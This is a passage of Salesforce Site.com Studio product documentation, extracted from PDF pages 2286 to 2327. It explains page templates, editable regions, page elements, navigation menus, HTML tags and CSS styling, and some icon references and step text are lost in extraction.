As you edit a page, your changes are saved and the status icon ( ) on the page tab is updated automatically.
If the site page or page template is based on another template, editable page elements are highlighted with a blue
border on the page.
See Also:
Using Site.com Studio as a Publisher or Designer
Before you begin building the pages of your website, take some time to plan the pages you need, and in particular, which pages
will have a similar layout. Once you've decided on the layout, the quickest method is to use a page template to build the basic
layout.
2286
Note:
Page templates must contain at least one editable page element. Otherwise, users can't edit site pages that are based
on the template.
Panels are ideal for adding editable areas to page templates.
Save time and effort by laying out the page structure and using it as a starting point when you create site pages. For example,
you could design a template with a fixed header panel and side menu, and an editable center panel, to which you add
page-specific page elements and content.
Quickly make global updates to the layout or style of your website, as any changes you make to the template's design are
reflected immediately in all the pages that use it.
Control how other users (such as contributors or other publishers) can modify site pages. For example, you may allow
contributors to edit specific content blocks only.
Ensure your template design remains pixel-perfect. When users edit a page that's based on a template, their changes don't
affect your template.
Reuse common design elements by creating nested templates.
Allow contributors to create site pages that are based on the template.
2287
Now, any page based on the nested template includes the non-editable main header, navigation menu, and subsection header,
and an editable center panel (5) for that page's content.
Best Practices
Plan your site structure and the layout of your pages. Taking the time to plan your website first saves time when you build
your site.
Identify which elements are common to all the pages of your site, such as navigation menus or headers, as these are the
elements you can add to the page template.
Use page templates wherever possible to promote content reuse and save time.
Try to keep the design of your main page template as simple as possible to make it easier to modify in the future. For more
complicated site designs, use nested templates to achieve maximum flexibility.
See Also:
Creating Site.com Page Templates
Creating Editable Template Areas
Creating Site Pages as a Publisher or Designer
Identifying Which Template a Site.com Page Uses
Changing a Pages Doctype Property
Using Site.com Studio as a Publisher or Designer
2288
page
AND
Publisher or Designer role assigned at the site level
A page template lets you define the layout and functionality of site pages in one location. By adding common page elements
to the template and then basing site pages on it, you can achieve a consistent look and feel throughout your site. And because
a template-based page inherits the template's elements, you can make site-wide changes from one location.
You can create a page template from a layout, or if you've already created a template, you can use it as a base to create a nested
template, which lets you reuse the design of the main template.
To expand the page to fill the width of the browser window, click Full width.
To set the page width, click Fixed width and enter the width.
By default, any template you create is only available to other publishers in your organization. To let contributors
create pages based on the template, select Available to Contributor in the Properties pane.
You can also create templates by converting or duplicating other pages.
2289
Alternatively:
1. Hover over Page Templates on the Overview tab and click New, or click New Page Template in the Page Templates
view.
2. Enter the page template name. Template names cant include special characters, such as #, ?, or @.
3. Click Page templates and select the page template.
4. Click Create. The nested page template opens.
See Also:
Site.com Page Templates Overview
Understanding the Page Editing View in Site.com Studio
Using a Tracing Image for Page Layouts
Identifying Which Template a Site.com Page Uses
Changing a Pages Doctype Property
Using Site.com Studio as a Publisher or Designer
2290
page
AND
Publisher or Designer role assigned at the site level
As the template creator, you specify which elements users can edit in pages based on the template.
To make a page element editable, select it on the page template or in the Page Structure pane and click
or select Editable in the Properties pane.
When the page template is open, editable page elements are highlighted with a blue border on the page. They also display a
pencil icon (
the page.
) in the Page Structure pane and in the information popup that appears when you hover over the element on
Users can't alter the events, style, or properties of an editable page element in pages based on the template.
Users can't resize, reposition, or delete editable page elements in pages based on the template. However, if the element's
Auto Height property is enabled in the template, it's height will adjust to fit the content of the template-based page.
To make a panel editable, it must be empty. Otherwise publishers can't add content to that area in pages based on the
template.
Publishers can edit any page element you make editable.
Contributors can modify editable content blocks in site pages based on the template. They can also edit content blocks
that you place in an editable panel in template-based site pages. To add a content block that only other publishers can edit,
use custom code instead.
If you create a nested template, remember to add new editable areas to it. Editable page elements are editable only in pages
directly based on the template.
When you create a page from a page template, the content of editable components on the derived page is linked to the
content of the editable components of the parent page template. If users make changes to an editable component on a page
based on a template, any subsequent updates made to the parent template wont be reflected in the component on the
2291
derived page. However, if the editable component on the template-based page is left unchanged, updates made to the
parent template will push down.
See Also:
Creating Site.com Page Templates
Identifying Which Template a Site.com Page Uses
Site.com Page Templates Overview
page
AND
Publisher or Designer role assigned at the site level
When you create a site page, you can choose to base it on a page template. If you're creating several site pages that have common
page elements, such as a navigation menu, you can save time and effort and achieve a consistent look and feel by creating a
page template first and then basing your site pages on it. Alternatively, if none of your site pages have a similar structure or if
you need to create a one-off site page that doesn't follow the overall site design, such as a home page, you can create a page
based on a basic layout.
To expand the page to fill the width of the browser window, click Full width.
To set the page width, click Fixed width and enter the width.
2292
Hover over Site Pages on the Overview tab and click New, or click New Site Page in the Site Pages view.
Enter the site page name. Page names cant include spaces or special characters, such as #, ?, or @.
Click Page templates and select the page template.
Click Create. The site page opens.
Tip: You can also create pages by converting or duplicating other pages.
See Also:
Understanding the Page Editing View in Site.com Studio
Adding Site.com Page Elements
Using a Tracing Image for Page Layouts
Changing a Pages Doctype Property
Using Site.com Studio as a Publisher or Designer
page
AND
Publisher or Designer role assigned at the site level
When you edit a template-based page, you can't modify its non-editable page elements. You also can't reposition, resize, or
delete editable page elements, or alter the events, properties, or style associated with them. To update these elements or
properties, you must edit them in the template the page is based on.
To identify which page template a site page is based on:
2293
Hover over the site page in the Sites Pages view on the Overview tab. An information popup appears that displays the
page template's name.
Examine the Page Structure pane when the page is open. The template's name is displayed as a link that you can click to
open the template.
Tip: To view and open the site pages associated with a particular page template, select or hover over the page template
in the Page Templates view of the Overview tab and click
> Edit Pages Based on Template. Click a listed site
page to open it.
See Also:
Creating Site.com Page Templates
Creating Editable Template Areas
Site.com Page Templates Overview
2294
page
AND
Publisher or Designer role assigned at the site level
When working with pages and templates, you can perform common tasks, such as renaming, deleting, or duplicating pages.
To access more page options, select or hover over a page on the Site Pages view of the Overview tab and click
To access more template options, select or hover over a template in the Page Templates view of the Overview tab and click
.
Alternatively, if the page or template is open, click Page Actions.
The available options vary for pages and templates:
Open the page or template for editing by clicking Edit. Alternatively, double-click the page or template.
Change the page or template name by clicking Rename.
View the page in a browser window by clicking Preview.
Create a copy of the page or template by clicking Duplicate.
Remove a page or template by clicking Delete. You can't delete a template that has pages based on it.
Change the page into a template by clicking Convert Site Page to Template.
Create a page based on the template by clicking Create Page from Template.
Change the template into a page by clicking Convert Template to Site Page. You can't convert a template that has pages
based on it.
Create a nested template based on the selected template by clicking Create Nested Template.
View and open the site pages that are based on the selected page template by clicking Edit Pages Based on Template.
See Also:
Understanding the Page Editing View in Site.com Studio
Using Site.com Studio as a Publisher or Designer
2295
page
AND
Publisher or Designer role assigned at the site level
If your designer provides you with a full-scale mockup of the page design, you can use it as a background tracing image to
create a pixel-perfect page layout.
To use a tracing image as a guide when you lay out pages:
1.
2.
3.
4.
See Also:
Creating Site.com Page Templates
Creating Site Pages as a Publisher or Designer
2296
page
AND
Publisher or Designer role assigned at the site level
The Document Type Definition (DTD) or doctype of a page defines which version of HTML its using. This information is
used by some browsers to trigger a standard rendering mode. By default, each pages doctype is set to XHTML 1.0, but you
can change it to HTML5.
When the page is open:
1. Select the page in the Page Structure pane.
2. In the Properties pane, select an option in the Doctype drop-down list.
See Also:
Changing a Page Elements HTML Tag
Adding Custom HTML Attributes
HTML5 Semantic Page-Layout Tags
Understanding the Page Editing View in Site.com Studio
Page elements are the building blocks of your site pages and page templates. Combined, they provide the page's structure and
content.
2297
When a site page or page template is open in Site.com Studio, these page elements are available to publishers:
Page Element
Description
Content Block
Contains the page text, and can also house images, media, and
hyperlinks.
Custom Code
Image
Menu
Panel
Adds structure to the page and lets you group other page
elements.
Button
Adds a button to the page. You can use the actions in the
Events tab to add functionality to the button.
Form
Lets you collect and submit data from your site visitors to
standard or custom Salesforce objects.
Input Fields
Data Function
Data Table
Repeater
Repeater Element
See Also:
Adding Site.com Page Elements
Editing and Working With Site.com Page Elements
2298
page
AND
Publisher or Designer role assigned at the site level
Page elements are the building blocks of your site pages and page templates. Panel elements add structure to your pages. You
can think of both pages and panels as containers for the page elements that you add to them.
If a site page or page template is based on another page template, you can only add page elements to editable panels, which
are highlighted with a blue border on the page.
Pages, panels, data repeaters, and forms are container page elements, so you can add other page elements to them when the
page is open.
In the Page Structure pane, hover over a container page element and click
want to add or drag it onto the container page element.
> Add Page Elements. Click the item you want to add or drag
When you drag a page element into an editable panel, the page element displays a permitted icon and a green border shows
where you're placing the element.
If you try dragging a page element into a panel that isn't editable, the page element displays a not-permitted icon.
2299
See Also:
Editing and Working With Site.com Page Elements
Adding Images Directly to the Page
Adding Content Blocks to Pages
Laying Out Site.com Pages Using Panels
Adding Custom Code to Pages
Adding a Navigation Menu
Using a Tracing Image for Page Layouts
Changing a Page Elements HTML Tag
page
AND
Publisher or Designer role assigned at the site level
The Page Structure ( ) pane displays the hierarchy of all elements on the page and is a very useful way of selecting, moving,
and reordering elements, particularly for more complicated page designs.
To select a page element, either click it on the page, or select it in the Page Structure pane. This highlights the element
on the page and displays the item's selector bar and Actions menu (
).
To edit a page element, such as a content block, image, or custom code, either:
Double-click the element on the page.
Select the element on the page and click
> Edit on its selector bar.
Select or hover over the element in the Page Structure pane and click
> Edit.
2300
To resize a page element, select it and drag the resize handles to the correct size. If the corner resize handles are grayed
out, it means the item's Auto Height property is enabled, which adjusts the height depending on its contents. To resize
it to a set height, disable the property by either deselecting Auto Height in the Properties pane, or by clicking one of the
bottom resize handles and clicking Disable Auto Height in the popup message that appears.
Alternatively, if you're using CSS to style the page element, adjust the style of the class or ID that styles it.
Click
on the toolbar.
In the Page Structure pane, click
> Delete.
When you create a page or template from another page template, the content of all editable components on the derived
page or template is linked to the content of the editable components on the parent page template. Updates to an editable
component on the parent template will push down to your derived page or page template. However, if you make changes
to an editable component at the derived page or template level, you break the link, and any subsequent changes made to
the component on the parent template won't trickle down to your derived page or template. Note that this linking behavior
only works one level down from the parent template.
Editable page elements are highlighted with a blue border on the page.
You can't reposition or resize its page elements. However, if the element's Auto Height property is enabled in the template,
the height will adjust to fit the content in the template-based page. To edit the page element, you must edit it in the page
template.
You can't delete its page elements. To delete the page element, you must delete it from the page template.
You can't alter the events, properties, or style of an editable page element, such as its color, position, and size.
See Also:
Site.com Page Elements
Adding Site.com Page Elements
Adding Content Blocks to Pages
Adding Images Directly to the Page
Laying Out Site.com Pages Using Panels
Adding Custom Code to Pages
Adding a Navigation Menu
Changing a Page Elements HTML Tag
2301
page
AND
Publisher or Designer role assigned at the site level
A panel is a useful layout tool that defines the logical divisions of your page and lets you group page elements together for easy
movement and positioning. Think of it as a container for other page elements, including other panels, or as a div that wraps
around the content placed within it. Panels are ideal for adding editable areas to page templates.
When you create a page template or site page, you can use predefined page layouts that include headers, footers, and columns,
which are created using panels. Once created, you can then further modify the layout to match your site's design.
If you need to add more divisions to the page and you're not familiar with CSS, the easiest method is to use row and column
panels. This feature adds panels with predefined CSS positioning to ensure they align correctly on the page.
Note: Predefined page layouts, and row and column panels use inline CSS to set their position. If you're familiar with
CSS and are using CSS rules to style your site, you can remove the inline CSS by deleting it from the Code tab in the
Style pane and clicking Apply.
To add row and column panels to a page:
1. Select the page (the top folder icon) in the Page Structure pane.
2. Click
> Add Rows and Column Panels.
3. Select the number of row or column panels you require. If the page already contains content, it is placed in the first new
panel.
To add a row panel:
Above a panel, select the panel on the page or in the Page Structure pane and click
> Insert Row Above
Below a panel, select the panel on the page or in the Page Structure pane and click
> Insert Row Below
2302
When you drag a page element onto a panel, the edges change color, indicating that the element is now grouped within it.
To remove the element from the group, drag it outside the panel.
Tip:
You can use a background tracing image as a guide when laying out page templates and site
pages.
You can use CSS properties to improve the layout and position of panels on the page.
See Also:
Changing a Page Elements HTML Tag
Adding Site.com Page Elements
Creating Site.com Page Templates
Creating Site Pages as a Publisher or Designer
Using Site.com Studio as a Publisher or Designer
2303
page
AND
Publisher or Designer role assigned at the site level
A panel is a useful layout tool that defines the logical divisions of your page. Using CSS, you can position panels and improve
the layout of the page.
Adding Padding and Margins to Panels
Two CSS propertiesmargins and paddingcan help with your page layout by creating space between the rows and columns,
and the content within. The margin property controls the space outside the panel between its border and outer edge, while
the padding property controls the space between the panel's content and border.
To add margins and padding:
1. Select the panel.
2. Open the Dimensions section of the Style pane.
3. In the Margins section, either:
Set the margin width for all four sides by entering a value in the All text box and selecting the unit of measurement.
Set the margin widths for the top, right, bottom, or left sides independently by entering a value in the appropriate text
box and selecting the unit of measurement.
4. Similarly, in the Padding section, set the padding widths as required. Adding padding increases the total width of the
panel. For example, if you have a panel with a width of 500px and you add padding of 20px to all sides, the total width of
the panel will be 540px.
Tip: You can center a panel or block page element using the margin property. Enter 0 in the All text box and select
Auto in the drop-down list.
2304
See Also:
Cascading Style Sheets Overview
page
AND
Publisher or Designer role assigned at the site level
As a publisher or designer, you can add images directly to your site pages and page templates or you can add them to content
blocks.
To add an image directly to the page:
1. Open the site page or page template.
2. Drag an Image from the Page Elements pane onto the page.
3. In the Add an Image dialog box, either:
Find an existing image by typing its name in the Search Image text box and selecting it from the list.
Upload an image from your computer by opening the Upload tab, browsing to the image, clicking Upload, and selecting
it from the list.
2305
5. Enter a brief description of the image in the Alternative Text field in the Properties pane. The description is used
by screen reader users or as a substitute if the image doesn't display. It can also help with search engine optimization (SEO).
See Also:
Adding Site.com Page Elements
Editing and Working With Site.com Page Elements
Site.com Page Elements
page
AND
Publisher or Designer role assigned at the site level
Content blocks contain the text of your website pages, and can also house images, videos, and hyperlinks. Content blocks are
the only page element that contributors can edit and modify on a site page.
To add a content block, either drag it from the Page Elements pane onto the page or target a container page element.
To edit a content block, double-click it or click Edit Content. For greater control over the text, you can edit the HTML
directly by selecting the content block and clicking
> Edit HTML.
To add a content block that only other publishers can edit, use custom code instead.
See Also:
Adding Images to Content Blocks
Adding Hyperlinks to Text and Images
Adding an Anchor to a Page
Changing a Page Elements HTML Tag
Using Site.com Studio as a Publisher or Designer
2306
page
AND
Publisher or Designer role assigned at the site level
Markup to a specific location on a page using the Custom Code page item
Markup to the page head
JavaScript to the page body
A reference to a JavaScript file or open-source JavaScript library in the page head or body
Note:
icon.
2307
A JavaScript file that you've imported, select An imported script and select the file.
An open-source JavaScript library, select A Google AJAX library and select the library.
An external JavaScript file, select A URL to an external script and enter the address.
3. Click Apply.
Tip: You can use the Events tab to add JavaScript events to page items and pages.
See Also:
Changing a Page Elements HTML Tag
Adding Site.com Page Elements
Displaying Data in Repeaters Using Custom Code
Creating an Event
Using Site.com Studio as a Publisher or Designer
2308
The Site Pages view on the Overview tab contains the pages of your website. The Site Map folder reflects the hierarchy or
tree structure of your site by housing site pages that are included in the site map. When you create new pages, they're
automatically added to this folder. The Landing Pages folder houses standalone pages that are excluded from the site map,
making it ideal for temporary pages, such as promotional or competition pages.
Tip: If you cant see the Site Map folder in the Site Pages view on the Overview tab, click
When adding a navigation menu to your site, it's important to organize the hierarchy of your site pages accurately, because
this structure is used to generate the menu. Pages are displayed in navigation menus in the order you arrange them.
In this representation of the site hierarchy, you can more clearly see the tree structure of the pages.
2309
3. A top-level, parent page with two child pages. A child page is a page at a lower level in the site hierarchy than its parent
page.
4. Two child pages.
5. The Landing Pages folder, which contains a temporary page that's not part of the site map or navigation menu.
By default, when you create a menu, its generated from the pages in the Site Map folder in the Site Pages view. However,
you can also create a menu thats generated from the pages in the Landing Pages folder or from the child pages of a site page.
Tip: If a page has child pages, the
icon appears beside it indicating that you can expand the branch.
See Also:
Adding a Navigation Menu
Styling Navigation Menus
Creating Site Pages as a Publisher or Designer
Using Site.com Studio as a Publisher or Designer
page
AND
Publisher or Designer role assigned in Site.com Studio
By default, when you create a menu, its generated from the pages in the Site Map folder in the Site Pages view. However,
you can also create a menu thats generated from the pages in the Landing Pages folder or from the child pages of a site page.
1. Arrange site pages in the Site Map folder or the Landing Pages folder in the order you want them to appear in the menu
by dragging them to the desired location. Drag a page onto another page to make it a child of that page. Drag pages into
the Landing Pages folder to exclude them from the site map.
Tip: If you cant see the Site Map folder in the Site Pages view on the Overview tab, click
2. Open the page template or site page that you want to add the navigation menu to.
3. Drag a Menu from the Page Elements pane onto the page.
2310
4. By default, the Site Map folder is used to create the menu. To create the menu from the pages in the Landing Pages folder,
select Use Other Map in the Menu Source property in the Properties pane. Alternatively, to create the menu from
just the child pages of a site page, select the site page.
5. To alter the appearance of the menu, you can select a different theme from the Theme Name drop-down list. For example,
to create a drop-down menu, select Horizontal Drop-down. You can modify the style of any theme to suit your needs.
6. The name of each menu item is controlled by the pages Navigation Name property. By default, its initially populated
with the pages name. To change the name of a menu item, open the associated page and update its Navigation Name
field in the Properties pane. Navigation names can include spaces and special characters.
Tip:
When you add a new page, update a pages Navigation Name property, or rearrange pages, the menu updates
automatically to reflect the changes.
To automatically include a menu on every site page, add the menu to a page template and base the site pages on
it.
See Also:
About the Site Map and Page Hierarchy
Styling Navigation Menus
Adding Site.com Page Elements
Creating Site Pages as a Publisher or Designer
Using Site.com Studio as a Publisher or Designer
page
AND
Publisher or Designer role assigned at the site level
Navigation menus are styled using CSS themes that you can customize to match the design of your website. When you add
a navigation menu to a page, it uses a default theme to control its appearance. Choose from other existing themes in the Theme
Name drop-down list in the Properties pane.
Alternatively, to customize a theme to suit your needs:
1. Select the navigation menu on the page.
2. Select a theme to use as a base in the Theme Name drop-down list in the Properties pane. Use a theme that most closely
matches your site design or select Blank to start with a completely blank theme.
2311
5. To style the selected menu item, use the Style pane properties. Your changes are immediately reflected in the menu.
6. Repeat as required for each part of the menu.
See Also:
About the Site Map and Page Hierarchy
Adding a Navigation Menu
page
AND
Publisher or Designer role assigned at the site level
You can add custom HTML attributes to pages and page elements, which are rendered on the HTML tag of the page element.
For example, this is useful when working with third-party frameworks that render page elements differently based on certain
attributes.
When the page is open:
1. Select the relevant page or page element in the Page Structure pane.
2. In the Custom Attributes section of the Properties pane, click
3. Enter a name and value for the HTML attribute.
4. Click Save.
To delete an HTML attribute, select it and click
2312
To change the order in which an HTML attribute is rendered, select it and click
or
See Also:
Changing a Page Elements HTML Tag
HTML5 Semantic Page-Layout Tags
Changing a Pages Doctype Property
Understanding the Page Editing View in Site.com Studio
page
AND
Publisher or Designer role assigned in Site.com Studio
By default, panels, repeaters, repeater elements, custom code, and content blocks are each defined as a div, but you can change
this to any other HTML tag using the HTML Tag property. This gives you greater flexibility and control over how the page
element is displayed on the page.
Caution: The HTML Tag property provides a powerful way to control how page elements are displayed. However, if
you change a page elements HTML tag, you may generate invalid HTML. Before publishing any changes, test the
page thoroughly.
To redefine a panel, repeater, repeater element, custom code, or content block:
1. Select the element on the page.
2. In the HTML Tag field in the Properties pane, start typing the tag name.
3. In the auto-complete list that appears, select the relevant HTML tag. Alternatively, you can define your own HTML
tagfor example, if youre working with a JavaScript library or if new HTML5 tags are introduced in the future. You can
also remove the HTML tag on a panel, repeater, repeater element, custom code, or content block to disable its ID, class,
or inline styles.
Note: The following tags aren't included in the auto-complete list:
base
body
doctype
head
2313
html
meta
style
title
See Also:
HTML5 Semantic Page-Layout Tags
Adding Custom HTML Attributes
HTML5 defines several semantic page-layout tags that describe the content they contain. These tags make it easier for search
engines and screen readers to read and organize your content.
By default, several page elements are defined as a div, including panels, repeaters, repeater elements, content blocks, and
custom code. Using a page elements HTML Tag property, you can change the tag to a semantic HTML5 block tags, such as:
Option
Description
Article
Aside
Details
Header
Footer
Nav
Section
Summary
2314
Tip: If you use a HTML5 semantic tag, its good practice to also change the pages doctype to HTML5.
See Also:
Changing a Page Elements HTML Tag
Adding Custom HTML Attributes
Cascading Style Sheets (CSS) provide a flexible way to add style to the pages of your website. This collection of formatting
rules governs the appearance of your pages, and lets you define the fonts, colors, layout, and other presentation features. By
using CSS to control your fonts, you can ensure greater consistency in the appearance and layout of your pages in multiple
browsers. Some of the many text properties that CSS lets you control include:
Font family
Font size
Text color and background color
Bold, italics, underlining, and text shadows
Link color and link underlining
Using CSS, you can also position, add color to, float text around, and set margins and borders for block-level elements. A
block-level element is a standalone piece of content that's visually formatted as a block. For example, content blocks (which
are equivalent to p tags) and panels (which are the same as div tags) are both block-level elements.
Apply styles directly to a selected page or page element using the Inline option in the Style pane. Inline styles apply only
to the selected item.
Add style items such as CSS classes or IDs to a style sheet, and apply the style items to the selected page or page element.
This approach separates the content (your web pages) from the presentation (the style sheet).
If youre not familiar with CSS, youll probably find the inline option the easiest to use and understand. However, inline styles
lose many of the advantages of style sheets because they mix content with presentationthe inline style is only applied to that
individual element. If you need to update the style of your site, you have to update the style properties of every affected page
and page element.
2315
By contrast, although style sheets may be more difficult to understand, they enable you to make site-wide changes from one
convenient location. When you update a style item in your style sheet, it immediately updates the style of every page or page
element that uses it.
Its worth taking the time to become familiar with CSS because it:
Saves you time and effort when building and designing your site
Produces cleaner, more consistent site designs
Simplifies navigation for people with accessibility issues (such as those using screen readers)
For more information about using CSS and creating style sheets, go to the World Wide Web Consortium (W3C) at
www.w3.org/Style/CSS. There are also many tutorials available on the Internet that provide in-depth CSS training.
Best Practices
Include a CSS reset in your style sheet to reset all style items to a baseline value. This helps avoid cross-browser differences
due to their built-in default style settings.
Use CSS classes and IDs instead of inline styles wherever possible. This promotes the separation of presentation and
content, and makes it easier to updates the site's styles.
Use IDs when there is only one occurrence per page. Once you've used the ID, you can't use it again on that page. Use
classes when there are one or more occurrences per page.
Use groups to organize your CSS logically and make it easier to maintain your style sheet.
See Also:
Using the Style Pane
Understanding the Style Sheet View in Site.com
Creating and Using CSS Style Sheets
Creating Style Sheet Items and Groups
2316
page
AND
Publisher or Designer role assigned at the site level
The Style pane is a visual CSS editor that lets you modify style properties, such as the background color, font size, and border
style, as you work with pages and page elements. If you're using CSS classes or IDs to style your pages, you can modify or
create style items directly from the Style pane, rather than opening the style sheet.
To apply a style to a selected page or page item:
1. Open the Style pane.
2. To apply:
An inline style, select Inline. Inline styles affect the selected item only and aren't included in a style sheet.
A CSS class, select Class and start typing the name. If the class already exists in your style sheet, select it in the list
that appears. To create a new class, type the name, select it, and click Yes to add it to the style sheet.
A CSS ID, select ID and select it in the drop-down list. To create a new ID, click
.
Menu page elements have several components, which you can style individually by selecting your preferences in the Style
drop-down list that appears.
3. In the Visual tab, apply style properties as appropriate. Alternatively, in the Code tab, you can type your CSS styles directly
and click Apply.
Tip: To view the style properties associated with a selected page or page element, open the Code tab of the Style
pane. To remove the style properties, click Clear.
See Also:
Cascading Style Sheets Overview
Creating Style Sheet Items and Groups
Creating and Using CSS Style Sheets
2317
The Style pane is a visual CSS editor that lets you modify style properties, such as the background color, font size, and border
style, as you work with pages and page elements.
Description
Background Color
Sets the element's background color. Click the color box and use the color picker
to select a color, or enter a specific hexadecimal code in the text box. You can also
choose from a list of colors in the Background Color drop-down list.
Background Image
Adds a background image to the element. Click URL and enter the image URL,
or click
Background Repeat
Position
Cursor
Description
Font
Color
Sets the font color. Click the color box and use the color picker to select a color,
or enter a specific hexadecimal code in the text box. You can also choose from a
list of colors in the Color drop-down list.
2318
Property
Description
Size
Sets the font size. Enter a value in the Size text box and select a unit of
measurement such as em, point, or %. Alternatively, select a predefined value such
as XX-Small. Select Inherit to use the same font size as the parent element (for
example, the page or panel).
Tip: Use relative sizes such as em or a percentage to enable your end users
to resize the font size in their Web browsers.
Style
Font Variant
Line Height
Modifies the amount of space between lines of text. Enter a value in the text box
and select a unit of measurement such as pixels, percentage, or em. Select Inherit
to use the same line height as the parent page element.
Text Decoration
Applies decorative effects to the element's text. For example, you could remove the
underline that usually appears under hyperlinks, which is a standard CSS rule that's
built in to most Web browsers.
Align
aligns the text with both the left and right margins.
Case
2319
Property
Description
Text Indent
Indents the first line of text of the selected page element. Enter a value in the text
box and select a unit of measurement. Select Inherit to use the same indentation
as the parent page element.
White Space
Controls how white spaces such as spaces, tabs, and hard returns are handled inside
an element.
Description
Positioning
Positions page elements outside the normal flow of the document. Usually, elements
on a page are rendered in Web browsers in the order they appear in the document.
Block elements such as p tags and div tags appear one beneath the other, whereas
inline elements such as em, strong, and span tags are rendered next to text or
each other.
Absolute positions the content using the settings in the Top, Bottom, Left,
and Right text boxes.
Relative renders the page element in the normal layout flow, but moves the
element relative to its normal position depending on the values in the Top,
Bottom, Left, and Right text boxes. For example, if you set an element's left
position to 20 pixels, the page element will be positioned 20 pixels further to
the left.
Display
Overrides a page element's default layout behavior. For example, you can hide page
elements, make block elements render inline, or make inline elements render as
blocks.
None hides the page element.
Block displays the page element as a block-level page element, with a line break
before and after the element.
Inline, which is the default setting, displays the page element as an inline page
element without a line break before or after the element.
Inline-block renders the page element as an inline rectangle, but with content
that behaves as if it's inside a block element.
Position
When used in conjunction with the Absolute or Relative positioning options, these
four properties place page elements outside the normal flow of the document. Enter
a value in the text boxes as appropriate and select a unit of measurement in the
respective drop-down lists.
Top sets how far the top edge of an element is above or below the top edge of
the parent element.
Bottom determines how far the bottom edge of an element is above or below
the bottom edge of the parent element.
Right sets how far the top edge of an element is to the right or left of the right
edge of the parent element.
Left defines how far the left edge of an element is to the right or left of the left
edge of the parent element.
2320
Property
Description
Z-index
Specifies the order in which elements overlap each other when they need to be
rendered in the same space. An element with a greater z-index value covers an
element with a lower value. The default value is 0.
Click
box.
and
Float
Floats a page element to the left or right so that subsequent elementstext for
examplewrap around the floating page element.
Clear
Specifies whether the selected page element allows floating page elements beside
it.
moves the page element below any floating page element on its left.
moves the page element below any floating page element on its right.
moves the page element below floating page elements on either side.
None removes existing float settings.
Visibility
Overflow
Specifies whether the content of a page element should be clipped when it overflows
its area.
Visible does not clip the content.
Hidden clips the content.
Scroll clips the content, but provides scroll bars so that users can view the
remaining content.
Auto is dependent on the browser, but should display a scroll bar to view the
rest of the content.
2321
Description
Width
Sets the width of the selected page element. Enter a value in the Width text box
and select a unit of measurement. Select Inherit to use the width of the parent page
element.
Height
Sets the height of the selected page element. Enter a value in the Height text box
and select a unit of measurement. Select Inherit to use the height of the parent
page element.
Margins
Sets the width of the page element's margin, which is the space between its border
and outer edge. Set the margins for all four sides by entering a value in the All
text box, or add margins to the top, right, bottom, or left sides as required.
Padding
Sets the width of the page element's padding, which is the space between its content
and border. Set the padding for all four sides by entering a value in the All text
box, or add padding to the top, right, bottom, or left sides as required.
Description
Type
Specifies whether to set border properties for each side separately or for all four
sides.
Style
Color
Sets the border's color. Click the color box and use the color picker to select a color,
or enter a specific hexadecimal code in the text box. You can also choose from a
list of colors in the Color drop-down list.
Thickness
Specifies the border's thickness. Enter a value in the Thickness text box and
select a unit of measurement. Alternatively, select Thin, Medium, or Thick.
Description
Border Collapse
Horizontal Spacing
Sets the horizontal distance that separates cell borders. Enter a value in the text
box and select a unit of measurement. This value is used only if Border Collapse
is set to Separate.
2322
Property
Description
Vertical Spacing
Sets the vertical spacing that separates cell borders. Enter a value in the text box
and select a unit of measurement. This value is only used if Border Collapse is set
to Separate.
See Also:
Using the Style Pane
Understanding the Style Sheet View in Site.com
Creating Style Sheet Items and Groups
page
AND
Publisher or Designer role assigned at the site level
When working with style sheets, you can add style items, organize them into groups, and edit the CSS code directly. Open a
style sheet on the Overview tab by double-clicking it or hovering over it and clicking
> Edit. The style sheet opens as a
new tab.
2323
Using the toolbar (1), you can import a style sheet and edit the style sheets CSS code directly.
Using the style sheet pane (2), you can:
Using the Style Preview section (3), you can preview and manually edit a selected style item.
Using the visual CSS editor (4), you can define the CSS properties for the selected style item.
See Also:
Cascading Style Sheets Overview
Creating and Using CSS Style Sheets
Using Site.com Studio as a Publisher or Designer
2324
page
AND
Publisher or Designer role assigned at the site level
A default style sheet called Site Style Sheet is included with every site you create. However, if you're familiar with CSS and
need multiple style sheets, you can create new ones to use in your site.
To create a style sheet:
1.
2.
3.
4.
Click Style Sheets > New on the Overview tab. Alternatively, click New Style Sheet in the Style Sheets view.
Enter a name for the style sheet.
Click Apply. The style sheet opens.
Add style items and groups to the style sheet.
Note:
Style sheet names can only contain alphanumeric characters, hyphens, colons, and underscores.
You can also import a CSS file to use in your site.
After you create a new style sheet, you must attach it to a page to apply its styles to the page.
To attach a style sheet to a page:
1. Select the page in the Page Structure pane.
2. In the Style Sheets section of the Properties pane, click
3. Select the style sheet in the list that appears.
4. Attach the style sheet to the page by clicking
Tip: If you used a page template to create your site pages, the quickest way to include the new style sheet on every
pages is to attach it to the template. This automatically includes a reference to the style sheet in every page that's based
on the template.
See Also:
Cascading Style Sheets Overview
Understanding the Style Sheet View in Site.com
2325
page
AND
Publisher or Designer role assigned at the site level
When adding style items to style sheets, you can define CSS classes and IDs, or you can redefine the formatting of HTML
tags such as body or h1. When you change the CSS style of an HTML tag, anything formatted with that tag is immediately
updated.
> Edit.
If you're very familiar with CSS and prefer coding by hand, click Edit Style Sheet Code to edit the style sheet directly using
the CSS editor.
Alternatively:
1. Select the style sheet and click
> Insert Style Item.
2. Enter the name of the style item:
To redefine the default formatting of a specific HTML tag, enter the HTML tag namefor example, body or h1.
To create a CSS class, enter the class name and ensure that you include a period before itfor example, .classname.
To create a CSS ID, enter the ID name preceded by #for example, #contentID.
3. Click Apply.
4. Add style definitions by either:
As you modify the definition of a selected style item, you can see how your changes appear in the Style Preview section.
Tip:
A class name must begin with a period or it will not be recognized as a CSS class.
An ID name must begin with # or it will not be recognized as a CSS ID.
Use IDs when there is only one occurrence per page. Once you've used the ID, you can't use it again on that page.
Use classes when there are one or more occurrences per page.
Class and ID names can contain alphanumeric characters, hyphens, and underscores only, and can't begin with a
number or include spaces.
2326
Type the class name in the Class field of the Properties pane.
Select Class in the Style pane, start typing the name, and select it in the list that appears.
See Also:
Understanding the Style Sheet View in Site.com
Creating and Using CSS Style Sheets
Cascading Style Sheets Overview
page
AND
Publisher or Designer role assigned at the site level
Every browser has set presentation defaults, but unfortunately they aren't standardized across all browser types. This means
that when you use CSS to style your site, it may not render as expected when you view it in different browsers. For example,
browsers differ in how they display:
2327
A CSS reset cancels the differences between browsers to control how browser elements are presented to the end user. You can
either use Site.com's CSS reset, or you can add your own CSS reset code.
To use Site.com's CSS reset:
1. In the Style Sheets view on the Overview tab, open the style sheet by double-clicking it, or hovering over it and clicking
> Edit.
2. Click
> Insert CSS Reset.
